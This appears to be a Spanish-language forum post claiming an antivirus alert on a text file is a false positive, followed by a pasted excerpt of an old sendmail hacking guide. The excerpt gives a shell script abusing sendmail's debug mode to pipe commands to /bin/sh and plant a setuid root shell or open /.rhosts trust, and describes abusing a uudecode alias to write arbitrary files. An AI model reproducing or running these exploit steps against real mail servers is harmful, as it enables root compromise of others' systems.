lo que pasa es que en ese txt viene el codigo que debes utilizar para hacer un hack pero vine con instrucciones para hacerlo
es por ello que algunos antivirus con la euristica muy sencible dan falso positivos con ese txt
anexo un pedaso de informacion contenida en ello
[ If sendmail server answers with "200 Debug set" to the 'debug' command
there are good chances the bug is still present ]
Example :
#!/bin/sh
telnet << EOF
open fucked.host.edu 25
debug
mail from: </dev/null>
rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\">
data
cp /bin/sh /tmp/sushi # or alternatively:
chmod 4755 /tmp/sushi # echo "+ +" >> /.rhosts
.
EOF
TURN = *oLD* =
TURN command allows mail to be stolen ... [ Don't bother, old stuff! ]
OVERFLOW INPUT BUFFER = *oLD* =
Cause the sendmail deamon to lock up ... [ old stuff! Just for collection
]
DECODE ALIAS = *VrFy* =
If '/etc/aliases' contains "|/usr/bin/uudecode" anyone can send mail to
decode, write to any file onwed by daemon, if they can connect to sendmail
daemon, can write to any file owned by any user.
To test the existence of decode alias from a sendmail connection do:
% telnet target.com
Trying 127.127.127.127
Connected to target.com
Escape character is '^]'.
220 target.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
expn decode
250 <"|/usr/bin/uudecode">
quit
asi que no te in quietes es un falso positivo, lo es escaneado con varios y desnsamblado pero nada solo falso positivo
